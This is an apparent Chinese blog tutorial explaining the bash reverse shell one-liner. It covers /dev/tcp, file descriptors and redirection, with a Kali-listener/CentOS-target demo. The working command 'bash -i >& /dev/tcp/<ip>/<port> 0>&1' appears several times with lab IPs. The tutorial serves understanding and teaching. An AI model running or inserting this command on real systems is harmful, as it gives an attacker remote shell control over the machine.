反弹shell bash -i命令

目录

  0x01 什么是反弹shell?
  0x02 命令拆分详解
  0x03 文件描述符
  0x04 shell 输入/输出重定向
  0x05 输入输出结合获得shell

什么是反弹shell?

假设有两台主机
A(控制端)
B(被控端)

正向shell,就是ssh、Telnet的连接,A主动发起连接B指定端口,然后A就可以通过命令控制B了

反弹shell,A先开启一个监听端口,让B去连接A的这个端口,连接成功后,A就能控制B了

命令拆分详解

bash -i >& /dev/tcp/192.168.1.1/9090 0>&1

bash -i

bash -i,意为创建一个交互式的bash shell

/dev/tcp/192.168.1.1/9090

dev是设备(device)的英文缩写。这里主要存放与设备(包括外设)有关的文件
/dev/tcp/是linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,linux中还存在/dev/upd/
所以上述命令是和192.168.1.1:9090建立TCP连接

虽然/dev/tcp/${HOST}/${PORT}这个字符虽然看起来像一个文件系统中的文件,并且位于/dev这个设备文件夹下

但是这个文件并不存在,并且不是一个设备文件。这只是bash实现的用来实现网络请求的一个接口,其实就像我们自己编写的一个命令行程序,按照指定的格式输入host port参数,就能发起一个socket连接

文件描述符

Linux系统中,把一切都看做是文件,当进程打开现有文件或创建新文件时,内核向进程返回一个文件描述符,文件描述符就是内核为了高效管理已被打开的文件所创建的索引,用来指向被打开的文件

所有执行I/O操作的系统调用都会通过文件描述符,即文件描述符可控制输入输出(输出/输出重定向)

标准输入(stdin)代码为0使用<或<<默认设备键盘
标准输出(stdout)代码为1使用>或>>默认设备显示器
标准错误输出(stderr)代码为2使用2>或2>>默认设备显示器

大多数Linux系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输入写入到标准输出,默认情况下,这也是你的终端。

shell 输入/输出重定向

如上,我们正常使用终端执行命令时,默认输入输出皆是终端。

输出重定向

顾名思义,就是将输出结果重定向到其他地方

1️⃣>

使用 1> 将输出结果写入到指定文件中,文件不存在则创建文件,文件如果存在会覆盖原文件内容

1> 中的1是默认的可以忽略不写,也就是可以写成>
同理0<可以写成<

2️⃣>>

使用>>会追加内容在文件末尾

3️⃣实例

控制端:kali
被控端:centos

kali监听8888端口

在这里插入图片描述
centos输入命令
在这里插入图片描述

kali监听到输出结果

在这里插入图片描述
kali继续监听端口,centos输入命令

在这里插入图片描述
kali得到输出结果

在这里插入图片描述

输入重定向

1️⃣实例

kali开启监听端口
在这里插入图片描述
centos执行命令,在kali输入命令就能控制centos输入
在这里插入图片描述

输入输出结合获得shell

两条命令

bash -i > /dev/tcp/192.168.52.144/8888
bash -i < /dev/tcp/192.168.52.144/8888

结合一下,即可实现反弹shell

bash -i >& /dev/tcp/192.168.52.144/8888 0>&1

1️⃣0>&1

语法格式是

>&word

当word为数字或者-时,表示复制文件描述符
复制格式有num1<&num2和num1>&num2,区别是,前者是以只读的形式打开,后者是以写的形式打开,这里两者均可

0>&1这里意思是将0[标准输入]重定向到了1[标准输出]指向的位置

2️⃣>&

当word不是数字或-字符时,>&表示将标准错误输出合并到标准输出中

  • 6
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值